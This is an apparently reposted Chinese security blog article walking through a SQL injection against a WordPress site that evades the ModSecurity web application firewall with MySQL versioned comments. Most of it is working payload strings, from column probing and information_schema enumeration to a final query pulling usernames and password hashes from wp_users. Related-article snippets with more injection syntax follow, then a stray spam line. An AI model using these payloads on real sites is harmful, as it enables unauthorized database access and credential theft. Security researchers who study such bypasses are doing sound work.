<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【滲透實例】SQL注入之ModSecurity防火墻繞過

    VSole2022-03-23 22:06:58

    轉自: SecTr安全團隊

    研究人員在對網站進行滲透測試時,發現該網站存在SQL注入點,可以繞過 “mod_security” 防火墻。ModSecurity是一個開源、跨平臺的web應用程序防火墻(WAF),用于實時Web應用程序監視,日志記錄和訪問控制。

    在網站中使用以下注入語句,會彈出錯誤提示:

    site/ejemplo?parameter=-1+union+selec+1,2,3,4,5,6,7+--+
    

    如下所示,我們只需在上訴有效載荷中添加注釋,就可以繞過waf的檢測了。

    site/ejemplo?parameter=-1+/*!50000union*/+/*!50000selec*/+1,2,3,4,5,6,7+--+
    

    從上圖中可以看出,第四列中存在漏洞。為了獲得更多的信息,研究人員嘗試上傳了以下有效載荷:

    AND mod(29,9)+div+@a:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7
    "AND" = 如果用AND分隔的所有條件都為TRUE,則AND運算符將返回一條記錄。
    "mod(29,9)" = mod的功能是在值之間進行劃分
    "div" = 在sql中,div函數被視為除法
    "@a:=" = 用于在內部保存SQL查詢,例如@a:=(concat(database(),"--","_Y000!_")
    "union" = 連接兩個以上的sql命令
    "distinctrow" = 避免結果重復
    "select" = 從數據庫中選擇我們想要的
    "數據庫中的列數
    "AND mod(29,9)+div+@a:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7"
    

    同樣,在該有效載荷中添加注釋,即可繞過waf的檢測:

    -1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,"_Y000!_",6,7--+
    

    結果如下圖所示:

    從上圖可以看出,我們可以從數據庫中提取信息,同時我們還可以在concat函數中插入一些分隔符,如下所示:

    @a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)
    

    點擊右側下載圖標可以對文件進行下載。有趣的是,下載文件的選項也存在漏洞,并清楚地向顯示了易受攻擊的是第5列。

    利用該漏洞,我們可以進一步的挖掘。如下所示,我們可以在有效載荷中添加更多的字符,以從數據庫表的名稱中提取基本信息:

    -1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,table_name,6,7+/*!50000from*/+/*!50000information_schema.tables*/+--+
    

    結果如下圖所示:

    在之前的情況下,我們只有一個文件可以下載,但現在顯示出了更多的信息。仔細觀察,可以發現新出現的是有效載荷所提取的數據庫信息。在右圖代碼中,可以看出我們有很多的 ,這是HTML中的表格,每個表中都有數據庫表的名稱。但這未免也太多了些,由此可以意識到該頁面使用了wordpress

    從字面上看,我們什么都沒有隱藏!

    -1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,column_name,6,7+/*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name="wp_users"*/+--+
    

    最后,我們可以找到用戶名稱和密碼信息

    -1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,/*!50000CoNcAt(user_nicename,"--",user_pass)*/,6,7+/*!50000from*/+/*!50000wp_users*/+--+
    

    防火墻sql注入
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    BypassD盾之SQL注入繞過總結
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    在網絡的世界里,要由防火墻過濾的就是承載通信數據的通信包。
    天融信數據庫安全網關是一款專業、主動、實時保護數據庫安全的產品。具有數據庫狀態監控、數據庫審計、數據庫風險掃描、SQL防火墻、訪問控制等多種引擎,可提供黑白名單和例外策略、用戶登錄控制、用戶訪問權限控制。
    sql注入防火墻WAF繞過
    2022-01-26 06:33:00
    一次無意間發現了一個網站的搜索處存在sql注入。繼續利用,然后輸入and的時發現出了的網站的安全狗。
    網絡安全公司Sophos正在通過電子郵件通知客戶有關安全漏洞的信息,該公司已于11月24日意識到這一事件。“在2020年11月24日,Sophos被告知了用于存儲與Sophos Support聯系的客戶信息的工具中的訪問許可問題,” 閱讀電子郵件。“在Sophos,客戶隱私和安全始終是我們的首要任務。我們正在與所有受影響的客戶聯系。”
    ModSecurity防火墻繞過
    SecTr安全團隊研究人員在對網站進行滲透測試時,發現該網站存在SQL注入點,可以繞過?ModSecurity是一個開源、跨平臺的web應用程序防火墻,用于實時Web應用程序監視,日志記錄和訪問控制。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类